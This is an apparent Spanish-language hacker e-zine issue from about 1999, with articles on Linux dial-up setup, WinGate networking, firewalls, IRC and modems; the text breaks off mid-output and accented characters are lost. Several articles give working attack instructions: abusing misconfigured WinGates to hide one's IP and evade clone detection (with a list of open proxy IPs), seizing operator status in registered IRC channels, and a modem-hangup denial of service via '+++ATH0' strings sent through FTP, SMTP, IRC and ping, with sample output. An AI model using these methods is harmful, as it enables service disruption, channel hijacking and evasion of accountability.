  Informacin sobre el estedo de algunas aplicaciones.

  Estos son los directorios que trae por defecto linux, hay que tomar en
  cuenta  que  depende  del  administrador  esto  puede cambiar como por
  ejemplo la localizacin de los diversos demonios del sistema. 


   ͻ
͹ Conectando desde Linux a Internet ͹The Sick B
   ͼ

  Voy a intentar  explicar aqu como  conectarse con Linux a Internet, y
  como  decirle  a nuestro  Linux donde esta el modem. Voy a contar  dos
  sistemas, uno desde el shell y otro des de X. Es un artculo sacado de
  recogida  de info por la  red, de preguntar  mucho y de mi experiencia
  personal, pues  me  costo dios y ayuda  conectarme desde Linux, aunque
  una  vez  se  ha hecho, veremos  que no es tan dificil como lo pintan.
  Bien, para  empezar  decir  que  Linux  trata  todos los  dispositivos
  hardware  como ficheros. Si  abrimos el  fichero dev/cdrom, veremos lo
  que contiene  el cdrom. Los  puertos series, a los que se conectan los
  modems, tambin estn disponibles en ese directorio.Cualquier PC tiene
  2 puertos serie.

  Normalmente en COM1 va el  ratn, y en COM2 se puede conectar el modem
  externo.

  Ademas, es  posible  conectar un  modem  interno  en otros dos puertos
  serie COM3 y COM4.

  Aqui pongo un esquema de donde se encuentran en Linux los COM de msdos

MSDOS <<<<<<<<<<<<<<  DEVICE-DISPOSITIVO-<<<<<<<<<<<< PUERTO <<<<<<< IRQ
COM1                   /dev/ttyS0                     0x3f8           4
COM2                   /dev/ttyS1                     0x2f8           3
COM3                   /dev/ttyS2                     0x3e8           4
COM4                   /dev/ttyS3                     0x2e8           3

  A Linux hay que decirle donde encontrar el modem. Esto lo haremos  con
  el  comando  setserial. Para ver  la configuracin  de  un  puerto  lo
  hacemos de la siguiente manera:

[root@sick /]# setserial -a /dev/ttyS3
/defv/ttyS3, line 3, UART: 16550A, Port:0x02e8,IRQ:3
Baud_base:115200,close_delay:50,divisor:0
closing_wait:3000,closing_wait2:infinite
Flags:spd_vhi skip_test auto_irq

  Si  tenemos  conectado un modem en el COM4 y no es PugNPlay y mediante
  los jumpers seleccionamos los valores que utiliza la configuracin del
  puerto por defecto, en este caso IRQ3, nuestro modem ya esta listo.

  Si en nuestro  modem no esta asi, y debemos utilizar una IRq que no es
  la que trae por defecto, debemos de configurar dev/ttyS3 (o el  puerto
  dondelo hayamos conectado) para  que lo haga con la IRQ que  queramos.
  Esto se hace asi:

setserial -b /dev/ttyS3 irq  port 

  Para terminar con este apartado, decir que en Linux normalmente  en el
  directorio  dev suele disponer  de un fichero llamado dev/modem. Si es
  as, lo linkaremos al puerto donde tengamos enchufado el modem.

[root@sick /]# ln -s /dev/ttySx /dev/modem

  donde x es  el  puerto  donde  tenemos  el  modem. Mirar  la  tabla de
  equivalencias con el msdos.

        Conectando a Internet:

  Aqu voy a contar dos maneras de hacerlo, una muy fcil  desde kppp  y
  otra  haciendo  scripts. Diremos  que  nuestro  nombre  es Sick, y que
  nuestro  proveedor  de  Internet  es  hven.com.ve  tenemos  que  crear
  /etc/ppp/options-hven con el vi el joe, con el editor de kde, como mas
  nos guste. Una vez abierto  con el editor, borramos el lock, si es que
  lo hay, y ponemos esto:

connect"/usr/sbin/chat -v -f /etc/ppp/chat-infovia"
ipcp-accept-remote
:194.224.52.5   (aqui ponemos la direccin IP de nuestro proveedor)
crtscts
modem
passive
name Sick@hven
noIPdefault
debug
defaultroute
asyncmap a0000
/dev/modem
115200

  Vamos a ver esto, la opcin ipcp-accep-remote y la IP aseguran que  se
  realizar  la  conexin aunque  infovia  no  le  facilite  la  IP  del
  proveedor. Aunque  la  podemos  sacar  de win95. Passive  es que  debe
  esperar a recibir datos vlidos  aunque no reciba  respuesta con modem
  le  indicamos  a  pppd  que  debe  usar linea telefnica 115.200 es la
  velocidad  mxima de nuestro puerto, aunque la del modem sea distinta.
  name Sick@hven es nuestra cuenta para autentificacin de identidad, el
  password  lo pondremos en PAP, esto lo vemos luego, dev/modem le  dice
  que dispositivo usar, por  eso  lo  hemos  linkado antes al dev/ttySx,
  aunque tambin se le puede indicar asi dev/ttySx  ahora  vamos a crear
  el fichero de la opcin  connect  lo haremos con joe vi kedit.....y le
  escribimos esto:

TIMEOUT 5
""ATZ
OK ATDT901505055    (aqui va el nodo al que llamemos)
ABORT "NO CARRIER"
ABORT BUSY
ABORT "NO DIALTONE"
ABORT WAITING
TIMEOUT 70
CONNECT ""

  Este  fichero le  dice  al modem que si no hay tono  cuelgue, etc.  Le
  tenemos que dar permisos de ejecucin, asi que como root hacemos esto:

[root@sick /]# chmod 770 /etc/ppp/chat-infovia

  Bien, ahora editamos etc/resolv.confy aadimos alli la DNS del nuestro
  proveedor y el dominio

domain hven.com.ve
nameserver 194.224.52.5
nameserver 194.224.52.6     (a veces hay dns primaria y secundaria)

  Podemos mirar las dns en configuracin TCP/IP de windous. Ahora  vamos
  y editamos etc/pap-secrets, y lo  llenamos  de  esta manera  "cuenta1"
  *"password" que quede mas o menos as:

client     server secret     IP addresses
"Sick@hven"	*	"password"

  Bien, ya casi estamos, ahora tenemos que ejecutar el pppd con nuestras
  opciones:

[root@sick /]# pppd file /etc/ppp/options-hven

  y acto seguido abrimos un terminal y tecleamos

[root@sick /]# tail -f var/log/messages

  Ahora, si  todo  marcha  bien, tendramos  que  estas  viendo marcado,
  conexin, etc...
  Si no  conecta, lo  intentamos  otra  vez,  a  ver  si  es  la maldita
  telefonica, o cantv o la mierda que sea. Tambin debemos comprobar que
  los scripts estn bien.

  Para desconectar:

[root@sick /]# killall pppd

  Bien, esta  era  la manera  mas  laboriosa. Ahora vamos a ver el Kppp.
  Es un sistema muy facil, e incluso  te puede  llevar  los gastos si le
  indicas de que pas eres y cuanto vale la hora. Solo  voy  a  comentar
  que hay que poner en cada sitio, pues es muy facil:

Conectar con:   Infoviaplus
Usuario:        Sick@hven
Contrasea:     *********

        Bien, ahora en configuracin:

  Dispositivo del modem:    /dev/ttyS1/      (yo lo tengo en com 2)
  Control de flujo:          crtscts
  Velocidad de conexin:      57600
  Use lock file: pulsado
  Timeout del modem: 60 segundos
  en modem:
  Espera por linea ocupada 0 segundos
  lo demas nada
  Opciones varias:
  Timeout del pppd 30 segundos
  y pulsados los siguientes:
  Mostrar reloj en barra de titulo
  desconectar al apagar el server X
  minimizar ventana al conectar.
  En configuracin de conexiones:
  En la pestaa marcado lo siguiente.
  Nombre conexin: infoviaplus
  N de telfono: 901505055
  Autentificacin: mediante pap
  En la pestaa direccin IP
  Direccin IP asignada por el usuario, lo demas nada
  Pestaa servidor de nombres
  Nombre de dominio: hven.com
  Lista de SDirecciones de servidores de nombres 194.224.52.5
  lo demas nada
  Pestaa Puerta de enlace
  Puerta  de  enlace por defecto y Asignar la ruta por  defecto hacia la
  puerta de enlace
  Pestaa script de conexin
  Expect
  Y pestaa coste sin seguimiento de costes.

  Bien, espero que  este texto le sirva a alguien para hacerle ms fcil
  la  conexin  a Internet. Gracias a los listeros y a  Sromero  por  su
  helping hand cuando le pedi ayuda. 

        The Sick B.

   ͻ
͹ Wingates ͹Supreme
   ͼ

  Bueno ltimamente e estado experimentando con wingate y me e informado
  un poco de que son y como las podemos usar.

  Aqui le doy un pequeo documento donde explico lo que averigue. 

  Wingate  es un software  que permite a varias computadoras de una  LAN
  conectarse a internet con una sola cuenta.

  INTERNET----Mquina con wingate----las otras mquinas de la empresa.

  Ahora  voy  a  explicar un poco como se instala una wingate en nuestra
  Lan:

  Primero  que  todo para instalar una wingate tenemos que tener una LAN
  o Local Area Network, ya muchos de ustedes sabran configurarla pero no
  esta de ms recordarlo:

  Antes  de  instalar  la  wingate  hay  que  configurar las mquinas, a
  continuacin  les  explicare  la configuracin  de la mquina que va a
  ser instalada la wingate. Se recomienda que sea la mejor mquina en la
  red.

  Bueno  nos  vamos a Configuracin,  Panel de control y hay pulsamos el
  icono de Red. Ahora  tenemos que pulsar las propiedades de TCP/IP pero
  no  la  de  su adaptador  de  acceso  telefnico a redes  si no la que
  tengamos asignadas para la tarjeta de red. 

  Cuando  entremos  en  la  configuracin  de  este  nos  va a salir una
  pantalla que dice DIRECCION IP, aqu tendremos que  colocar donde dice
  direccin IP una que o exista en internet como por ejemplo 192.168.0.1
  y donde dice MASCARA DE SUB RED ponemos 255.255.255.0 

  En la pestaa de CONFIGURACION WINS la debe tener desactivada.

  Lo de GATEWAY ni lo toques jeje y lo mismo con lo de Bindings  tambin
  con Advanced o avansado.

  Bueno  esto  es  todo  que  hay  que configurar en esta mquina, ahora
  configuraremos las workstation o estaciones de trabajo.

  Hay que ir a panel de control despus el  cono de red. Nos va a salir
  una ventana  de  dilogo, hay un botn que dice agregar y lo pulsamos.
  Va a salir otra ventana y sombreamos donde dice protocolo, despues  va
  a salir otra ventana y al lado izquierdo sombreamos microsoft  y a  la
  derecha donde dice TCP/IP y le damos OK.

  Bueno  ahora  hay que configurarlo, para eso vamos a panel de control,
  red  y sombreamos  donde  dice  TCP/IP y le  damos  configurar.  En la
  pestaa  donde  dice  direcin  IP  tenemos  que  tener activada la de
  especificar una direcin IP, entonces donde dice direccin IP  tenemos
  que  ponerle  un  nmero  ms de la que  pusimos  en la mquina con la
  wingate, si me hiciste caso puedes poner  192.168.0.2 ya que la PC con
  la wingate debe  tener 192.168.0.1. Cada worstation debe  tener una IP
  diferente  entonces la prxima worstation debe tener de IP 192.168.0.3
  y as sucesivamente.

  En la parte que dice mscara de subred tenemos que poner 255.255.255.0  

  Ahora  en  la  pestaa  de  configuracin wins debe estar desactivada,
  gateway la dejamos as y lo mismo con avanzada y Bindings.

  En  configuracin  DNS  donde  dice  host  ponemos  el nombre  el cual
  queremos  que  sea  reconocida  nuestra  PC en nuestra lan, donde dice
  dominio lo dejamos en blanco. En  orden  de  busqueda del servidor dns
  ponemos el IP que le asignamos a la mquina con la wingate

  Hay  que  crear  un  archivos  host, este lo podemos  crear un bloc de
  notas, lo nico que debe tener este es el IP de la wingate y su nombre,
  se debe parecer mas o menos a esto

192.168.0.1 wingate 

  Este archivo lo guardamos en el directorio \windows en windows 98 o 95
  pero  en NT lo  guardamos en \win\system32\drivers\etc este archivo lo
  llamaremos  host y lo debemos guardar sin ninguna extencin,  para hay
  que poner en nombre entre comillas y ponerle un punto al final.

  El prximo paso es verificar nuestra LAN, para esto hacemos ping desde
  cada  worstation a nuestra mquina con la wingate. Abrimos una ventana
  en DOS y colocamos:

ping (IP de la wingate) 

  Si  obtenemos  una  respuesta es que todo esta bien, pero si obtenemos
  algo como esto Request timed out o algo asi hay que  verificar todo de
  nuevo. En caso de que nos de algn error  no esta de mas verificar los
  cables y demas cosas de la LAN. 

  Bueno como ya tenemos todo configurado es hora de instalar la wingate,
  pero estoy lo voy a explicar en el prximo artculo jejeje. Pero ahora
  voy a explicar el lado UNDERGROUND de las wingate =)


  Casa cosa  tiene  su  lado malo, y las  wingate no se escapan de esto,
  como todo hacker  nosotros no aprovehcaremos de malas configuraciones,
  administradores medio lamers y de versiones de wingate viejas.

  Bueno nosotros podemos aprovecharnos de las wingates mal configuradas,
  versiones viejas y otras cosas pero hacer estas dos cosas:

  - Para ocultar nuestro IP en el IRC.

  - Para ocultar nuestro IP en una conexin telnet.

  Claro que no en todas  las wingate funcionan porque  como ya dije esto
  se debe a malas configuraciones y cosas as, pero de todas maneras voy
  a explicarlo por que no esta de mas un poco mas de conocimiento: 
 
        PARA OCULTAR NUESTRO IP VIA TELNET

  Nos  conectamos a la wingate por el puerto 23 y recibiremos algo  como
  esto:

WinGate>

  Entonces nosotros escribimos

WinGate> victima.com 23

  As  cuando  nos conectamos a victima.com  saldra el IP de la wingate.
  O  sea  que  estaremos  haciendo  una  especie  de  condon   para  asi
  protegernos un poco.
 
  Hay que tener en cuenta que nuestro IP real se puede averiguar por que
  si  hacemos  algo  malo  en  victima.com  est le  puede  solicitar la
  informacin a la wingate. 

        PARA OCULTAR NUESTRO IP EN EL IRC

  Yo vi 2 formas  de  utilizar una wingate para ocultar nuestra IP en el
  IRC, la primara es:

  - Yo lo prob con el mIRC y ve a file/option y hay  una  cosa que dice
    firewall, donde dice hostname pon la IP de la wingate y pon use sock 
    firewall. 

  Esa es la primera opcin, la segunda me la dio teken y esta es:

  Estando en nuestro cliente IRC, en la barra de status escribimos:

/server IP-wingate 23

  Luego se conectar la IP del Wingate, escribimos entonces:

/quote irc.server.com puerto 

  Luego  se  conectar  al  servidor  IRC, ahora  tenemos  ke decirle al
  servidor cual sera nuestra identidad:
  [ Tienes que hacerlo rpidamente, si no se corta la conexin ]

/quote usuario 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

  Y por ultimo:

/quote nickname tu_nick 

  y estars conectado.....

  Esto  nos  sirve  a la  hora  de poner un clon en un canal, por que si
  hacemos esto no detectar los clones..

  Bueno  ahora le doy una  lista de wingate  las que se pueden conectar,
  aunque no siempre estn online.

207.172.138.145
203.108.5.62
203.108.5.69
193.252.178.11
206.26.104.1
202.138.8.25
202.138.8.28
203.30.61.73
203.30.61.211
203.30.61.205
207.135.128.109
208.154.103.68
209.122.45.11 
207.96.8.242 

  Bueno  espero  que  estn atentos de cuando salga el segundo nmero de
  este artculo donde explicare la instalacin de la wingate. espero que
  les sirva de algo esto.

  Gracias a teken por escribir el artculo de como conectarse en el  IRC
  de  modo  dificil  jejejeje  a  oscar  por  ayudarme  con  la parte de
  configuracin. Un especial saludo a todos los panas de HVen.


   ͻ
͹ Como Obtener OP en Canales Registrados de IRC ͹TecDATA
   ͼ

                TecDATA (Montevideo - Uruguay) Ao 1999

  En este artculo les voy a explicar tres formas para ser OP en canales
  registrados en IRC en los cuales este funcionado ChanServ.

  ACLARACION!!!!!!
  ---- Para que esto funcione no tiene que haber nadie en el canal ;)

  1.- LA TEORIA:

  Cuando  entramos  a  un  canal  de  IRC  que  este registrado mediante
  ChanServ, si no estamos en la lista de AOP de ese canal el ChanServ no
  nos va a dar el OP, la cual esta lista de AOP la puede definir el  que
  sepa el password del canal, pero si entramos a un canal no  registrado
  (un canal que nosotros creamos en el momento /join #NombreNoExistente)
  tenemos OP. El OP nos lo da el  servidor desde el  cual nos conectamos
  porque as podremos  registrar el canal y hacer un  mantenimiento  del
  mismo. Aca es  donde esta  todo o casi todo el secreto para obtener OP
  en un canal  registrado porque  cuando  entramos  a  uno  de  ellos el
  servidor desde donde  nos  conectamos  nos  da  OP  pero  ChanServ nos
  saca el OP por lo anteriormente dicho.

  Y  que  pasara  si  entrara  con un  clon al mismo tiempo al canal???
  Dependiendo  de lo que  tarde el servidor en responder o el "LAG"  que
  haya tendramos por unos instantes OP  con los dos  Nicks el Clon y el
  NoClon  pero  como  siempre  interponindose  entre  nosotros esta  el
  ChanServ  frustrando nuestros  intentos y hay  veces  que  no  solo el
  ChanServ  nos  saca  el  OP  sino  que es  servidor  al  cual  estamos
  conectados tambin.

  Y si  entramos  a un canal y  antes de que ChanServ  o el servidor nos
  quite el OP entramos con el Clon?
  Tendramos por un instante esta situacin: Nick_Original = OP
                                               Nick_Clon = Usuario comun

    1.1 - AQUI ES DONDE VIENE EL PRIMER METODO ----

        Mientras somos OP con el Nick_Original  le damos OP al Nick_Clon
        entonces  el ChanServ le saca el OP  al Nick_Original pero ahora
        tenemos OP con  el Nick_Clon y el ChanServ no chilla para  nada,
        porque  con  el  Nick_Clon  habamos  entrado  despus  que   el
        Nick_Original.

    1.2 - ESTE ES EL SEGUNDO METODO ----

        En este  mtodo  no necesitamos darle OP al Nick_Clon  porque el
        servidor se va a encargar de eso. Aqu si  tenemos  que  usar un
        servidor  lento  para que  cuando entremos al  canal  registrado
        parezca   que   no   hay   nadie  cuando  en  realidad  est  el
        Nick_Original por otro  servidor, pero como  el  servidor  en el
        cual tenemos el Nick_Clon es lento  cuando  entramos tenemos  OP
        porque todava  no  le  llego a este  servidor que el canal est
        registrado, entonces cuando  detecta  que es un canal registrado
        aparecen  los dos Nicks. Lo que ha pasado durante  este  momento
        con el Nick_Original mientras el servidor del Nick_clon le envia
        los datos (en este caso) a DALNET de que entramos a un canal, es
        que el ChanServ le quita el OP al Nick Original  pero  cuando el
        servidor termina de mandar  los datos aparecemos en el canal con
        el Nick_Clon como OP.
        Este mtodo sera como si pasara un  NetSplit con lo cual cuando
        nos unimos al la RED aparecemos como OP.

        NetSPlit EXPLICACION - Si ya  sabes  lo  que  es  salteate  este
        prrafo :) Un  NetSplit ocurre cuando uno de  los servidores  se
        cae de la RED en este caso DALNET con lo cual todas las personas
        que estn conectados por ese servidor tambin se van a caer.
        Lo  contrario  de  NetSplit es  un  NetJoin  y supongo que no es
        necesario explicarlo. XDD

    1.3 - SE VIENE EL TERCER METODO ----
        Este mtodo no  es de creacin propia sino que fue comentado por
        "Teken Melocotoff".
        Esta otra forma se puede hacer sin tener que usar un clon porque
        lo que hay  que  hacer  es buscar un servidor lento y cuando nos
        conectamos entramos al canal registrado, el servidor nos da OP y
        mientras lo  tenemos OP nos  mandamos  muchas  ordenes  de  OP a
        nosotros mismos, entonces  cuando  el  ChanServ  nos saque el OP
        vamos a recibir datos de que  nos  den  OP de un Nick que era OP
        osea nosotros mismos.

  ----  Luego de todo este rollo terico vamos a lo interesante

  2 - LA PRACTICA!!!! 
    2.1 - AQUI ES DONDE VIENE EL PRIMER METODO ---- 

      [Con el Nick_Original ponemos] /join #CanalRegistrado 
      *** servidor.X sets mode: +o Nick_Original
      *** ChanServ sets mode: -o Nick_Original
      [Con el Nick_Clon ponemos] /join #CanalRegistrado
      [Con el Nick_Original ponemos] /mode #CanalRegistrado +o Nick_Clon
      *** Nick_Original sets mode +o Nick_Clon

    2.2 - ESTE ES EL SEGUNDO METODO ----

      [Con el Nick_Original ponemos] /join #CanalRegistrado 
      *** servidor.X sets mode: +o Nick_Original
      *** ChanServ sets mode: -o Nick_Original

      [Con el Nick_Clon ponemos] /join #CanalRegistrado
      *** servidor.X2 sets mode: +o Nick_Clon

    2.3 - SE VIENE EL TERCER METODO ----
      [Con el Nick_Original ponemos] /join #CanalRegistrado 
      *** servidor.X sets mode: +o Nick_Original
      [Con el Nick_Original ponemos] /mode #CanalRegistrado +o Nick_Original
      [Con el Nick_Original ponemos] /mode #CanalRegistrado +o Nick_Original
      [Con el Nick_Original ponemos] /mode #CanalRegistrado +o Nick_Original
      [Con el Nick_Original ponemos] /mode #CanalRegistrado +o Nick_Original
      ...
      Y asi hasta que el ChanServ nos saque el OP
      ...
      *** ChanServ sets mode: -o Nick_Original
      *** Nick_Original sets mode +o Nick_Original

-------- EL FIN

POR COMENTARIOS, CRITICAS Y DEMAS EL EMAIL ES 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

   ͻ
͹ FireWalls en Linux ͹DoctorX
   ͼ

  Como parte de los intentos por resguardar las redes en inet se crearon
  los firewalls que consisten en reglas de manejo de manejos de paquetes
  que pueden ser utilizadas en un router para  proteger  a  una LAN o en
  una estacin para resguardarla del resto de inet. En los Protocolos de
  la Capa IP la informacin se maneja utilizando parte del Encabezado de
  los Paquetes (UDP o TCP) para colocar  la  informacin  tanto de IP  y
  puerto  origen,  y  la  informacin  de  IP  y  puerto  destino,  esta
  informacin es manejada por los routers en cada camino intermedio para
  determinar  las  rutas  a  seguir  hasta  su origen. Basado en esto se
  fundan los firewall, siendo  utilizados  para restringir los servicios
  en  una  red y el  acceso a la misma. En este punto podemos decir  que
  para  linux se  pueden  realizar  este tipo de  filtrado  de  paquetes
  utilizando  dos  programas de libre distribucin que son ipfwadm y  el
  ipchains, siendo el primero para los kernels de  la  serie del 2.0.x y
  el segundo para los kernels del 2.1.x en  adelante, un  ejemplo  de su
  uso podra ser el siguiente:

  Supongamos que tengo una red de IP xxx.xxx.xxx.xxx y yo deseo eliminar
  el acceso desde la maquina eee.eee.eee.eee al servicio  de FTP  de  mi
  red, entonces para ello realizo lo siguiente:

  con ipfwadm:

# ipfwadm -F -p deny -P tcp  -s eee.eee.eee.eee -d xxx.xxx.xxx.xxx 21

  con ipchains:

# ipchains -A forward -j DENY -s eee.eee.eee.eee -d xxx.xxx.xxx.xxx :21 -p tcp
 
  ahora  supongamos  que  no  deseo  que  mis  maquinas  respondan a los
  mensajes ICMP provenientes desde inet:

  con ipfwadm:
# ipfwadm -F -p deny -P icmp -d xxx.xxx.xxx.xxx

  con ipchains : 
# ipchains -A forward -j DENY -d xxx.xxx.xxx.xxx -p icmp

  Existen otras  formas  de  realizar filtrado y es restringiendo ademas
  del origen y destino, es  utilizar  los  FLAGS  de los encabezados TCP
  algunos de los cuales son:

  SYN   - Flags  que indica que es un paquete para sincronizacin  antes
          de establecer una comunicacin.

  FYN   - Indica  que  ese  paquete  es  el  ltimo  en  la secuencia de
          comunicacin.
                     
  RESET - Este paquete transporta la orden de detener la comunicacin.

  URGEN - Indica  que  el paquete es un paquete urgente,  este  tipo  de
          paquetes son usualmente los paquetes reenviados. 

  Las  caractersticas  de  estos  flags  son  aprovechados  por algunos
  scanner de puertos como  el  conocido  nmap  de  Fyodor  para  extraer
  informacin  pasando  por  alto  un  firewall,  por  ello  metodos  de
  filtrados  mas  complejos  se  han  implementado  para  no permitir el
  paso de  paquetes  de este  tipo principalmente  los SYN, de manera de
  resguardar  mejor  las  mquinas  de  la  Red  Interna  y proteger  la
  informacin encerrada por ellas.

DoctorX   
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

   ͻ
͹ Mini How to de Firewalls en Win NT/95/98 ͹Merlin
   ͼ

  Bueno has escuchado de los Firewall son esas mquinas que filtran todo
  lo  que  entra  en  una Lan de cualquier empresa grande aunque tambin
  existen  softwares que  hacen  lo mismo, usualmente  los cortafuegos o
  firewall se encuentran en grandes mquinas corriendo Linux (o Unix)  y
  NT se utilizan para filtrar gran cantidad de paquetes que vienen de la
  red y tambin que salen de ella, por  ejemplo un admin puede  bloquear
  puertos  para los paquetes de los  troyanos (31337 para  el BO 1.2 por
  ejemplo) y ataques  con nukes ICMP (Internet Control Message Protocol)
  de esta  manera  estos  no  pasan y no   pueden entrar en Lan, tambin
  podemos estar en  Windows y para  evitar los  molestos  nukes  podemos
  instalar  un firewall  para  bloquear el paso  de  ciertos  paquetes y
  protocolos (TCP o UCP)

        Cmo podemos instalar un Firewall en Windows?

  Existen   bastantes    programas   que   cumplen   con   el   trabajo,
  www.download.com es un buen punto  para buscar pero yo  principalmente
  voy a comentar  el funcionamiento de  Conseal PC Firewall 1.35 que  se
  encuentra  disponible  en  www.signal9.com,  este  firewall  corre  en
  background y funciona  como  todo  los firewall mediante unos archivos
  que contienen  las  reglas  del  cortafuegos,  la  instalacin  trae 4
  archivos  de  reglas, segn  el  nivel  de  proteccin que necesitemos
  aunque  lo  mejor  es  hacer  uno desde cero para adaptarlo a nuestras
  necesidades

        Rules

  Estos archivos definen todo lo que esta permitido y no permitido pasar
  en  nuestra  mquina, en  conseal  estos  archivos  terminan  por  fwr
  (firewall  rules),  para  cambiar  de  juego  de reglas tenemos que ir
  a file/change  ruleset file y para  configurarla  vamos  Rules,  ahora
  tenemos dos pestaas.

  - Control: aqu  estan  las  opciones  que nos permiten especificar un
    password (recomendado) para  que  nadie  ms  que  nosotros  podamos
    cambiar  la  configuracin  de  las  reglas,  aunque  no  le  veo la
    seguridad  a  eso  ya  que  podemos  cambiar  el  archivo  de reglas
    completo, donde esta la seguridad??? para solucionar esto deberamos
    tener un solo archivo fwr, ademas aqu podemos  especificar  si  las
    reglas  se  aplicarn  a  todas  los dispositivos  de red o cada uno
    tendra una configuracin separada, esto es muy util para las  redes,
    ya que  podemos  tener una  configuracin determinada para la inet y
    otra para la red Interna.

  - All network Devices (o el nombre  del adaptador  en caso de tengamos
    activadas las reglas para cada dispositivo): aqu tenemos una opcin
    interesante que automatic rule learning que  consiste en un  sistema
    que esta  pendiente  de una nueva comunicacin  que  no se encuentra
    en su rules set y pregunta se la debe bloquear o permitir

  En advanced podemos bloquear  o permitir  cualquier otro protocolo que
  no tengamos que sea TCP/IP como IPX o NetBEUI

  Bueno para  agregar algn  servicio basta con pulsar add y seleccionar
  el dispositivo de red al  cual le  sera aplicada la nueva regla, luego
  especificamos  el servicio (HTTP, POP; SMTP, IRC, etc.), el  protocolo
  (TCP/IP, UDP/IP,  etc.), Inbound  o  Outbound  seleccionaremos  se  no
  permitiremos conexiones  al puerto 80 desde internet y el contrario o
  ambas, tambin  podemos especificar direcciones especficas  locales o
  remotas que no deseamos que puedan pasar por la firewall.

        Otros programas

  Tenemos tambin programas  que cumplen  las funcin de proxys/firewall
  como Consocks y Winproxy que son bastante buenos.

        Consocks 

  Este programa esta disponible en www.linkbyte.com., puede compartir la
  conexin de inet con las x maquinas que estn conectadas a la red este
  programa mas que todo esta destinado a pequeas redes que no requieran
  mucha seguridad ni un gran software de filtrado de paquetes.

        WinProxy

  Este programa es bastante robusto, como Consocks no permite el trfico
  hacia la Lan y permite  filtrar  comandos intrantes/salientes  en  los
  distintos servicios, tambin permite la funcin de log, en  fin  es un
  muy  buen  programa   proxy  para  NT/95/98  lo  pueden  conseguir  en
  http://www.winproxy.com


   ͻ
͹ Denial of Service attack contra modems ͹TiT0_C
   ͼ

  Este es un DoS de  la "vieja guardia" ya que es bastante viejo pero no
  se ha hecho nada para arreglarlo.
  Todo sistema que utilize una conexin "dialup" y tenga  un  modem cuyo
  chipset utilize los comandos Hayes (ATZ, ATDT, ATH0..) es vulnerable a
  este DoS. Si el atacante  puede obligar al modem a que responda con el
  string +++ATH0 hay  muchos  de estos  que pueden interpretar esto como
  que  el  usuario  esta  usando  el  comando  de  colgar  o terminar lo
  comunicacin manualmente y por  lo tanto  cuando el modem responda con
  este  string  lo  ve  en  el  datagrama IP y causa que este termine la
  comunicacin. El problema  afecta a los modems con un chipset Rockwell
  o Lucent.

  No todos los modems se ven afectados ya que hay unos que obligan a que
  haya  un tiempo de  espera  antes  de  mandar  cualquier  texto  en la
  respuesta al comando +++. Por lo tanto es imposible  que estos  modems
  se cuelguen. Estos modems no  vulnerables  desafortunademente  no  son
  muchos y una de las pocas  marcas que no se  ve afectada por esto  son
  los  modems US Robotics  que  son los  que "obligan" la  pausa  de  un
  segundo mas o menos ante el comando +++.

  Hay  varias formas de hacer que la vctima te responda con el +++ATH0:

  1) Conectarse  al  FTP  de  la  vctima  y  escribir   "USER +++ATH0".
     Normalmente  esto  ocasionara  que  el  FTP  pida password para el
     usuario  +++ATH0,  pero  cuando   el  modem  ve  +++ATH0  este   se
     desconecta.

  2) Conectarse a Sendmail, mandar "HELO victima.com",  despues escribir
     "VRFY +++ATH0". Normalmente esto te dira que el usuario +++ATH0 no
     existe pero ocurre lo mismo que en el primer ejemplo.

  3) El  comando  para IRC : Ya  que no se  puede hacer simplemente /msg
     vctima +++ATH0, se utiliza /raw NOTICE victima: $+ $chr(1) $+ PING
     +++ATH0 $+ $chr(1)

  4) Se  puede  utilizar  el  ping  para mandar un datagrama ICMP con el
     +++ATH0 en el. Para esto se utiliza:

        ping -p 2b2b2b415448300d xxx.xxx.xxx.xxx

  Donde  ping es el comando que todos conocemos, -p es  el  switch  para
  permitir especificar hasta 16 bytes  para  mandar con el packet lo que
  nos  permite  mandar  el  2b2b2b415448300d que  es simplemente +++ATH0
  escrito en  hexadecimal  ya que el -p solo permite  valores en dgitos
  hexadecimales y por ultimo xxx.xxx.xxx.xxx que  es la direccin de  la
  vctima.

  Notese que la opcin -p no se  encuentra  bajo el ping normal que trae
  MS-DOS.

==============================>PRUEBAS<=================================

  JEJE ahora viene la parte interesante.
  Vamos a probar las diferentes  formas de  llevar a cabo este DoS. Esto
  fu bastante dificil debido a que no encontre ningn  modem con  quin
  probar. Pero gracias a Supreme ya se que los modems Sierra 33.6 no son
  vulnerables :) (toda prueba echa con su consentimiento, claro). Debido
  a la escasez de modems vulnerables (no es  que sean muy pocos sino que
  da la casualidad de que nadie que  estaba en IRC en ese  momento tenia
  uno vulnerable) tome unos ejemplos de los advisories de bugtraq.
 
  Un ejemplo de posible ataque:

 [~] $ telnet xxx.xxx.xxx.xxx 21
Trying xxx.xxx.xxx.xxx ...
Connected to 192.168.1.1.
Escape character is '^]'.
220 foo FTP server (Version wo [Beta 31337] (1) Mon Jul 19
20:41:
USER +++ATH0
^]
telnet> close
Connection closed.

  Ahora probamos si sigue online:

 [~] $ telnet xxx.xxx.xxx.xxx 21
Trying xxx.xxx.xxx.xxx...
telnet: Unable to connect to remote host: Network is unreachable
 [~] $

  Ahora utilizando el ping attack (tomado como ejemplo de Bugtraq):

[root@narf ]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx
PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes

--- xxx.xxx.xxx.xxx ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss
[root@narf ath0]#

  El -c 5 es un switch para que pare de mandar y recibir los paquetes de
  respuesta, en este caso 5. Es como un modo de mandar 5 packets... solo
  para estar seguros,jejeje.

  En los statistics se ve que la vctima no respondi a ningn paquete..
  o sea que llego e hizo su efecto!

  Si el bug no funciona obtendriamos esto:

[root@narf ath0]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx
PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=252 time=182.4 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=252 time=190.1 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=252 time=190.1 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=252 time=190.1 ms
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=4 ttl=252 time=180.1 ms

--- xxx.xxx.xxx.xxx ping statistics ---
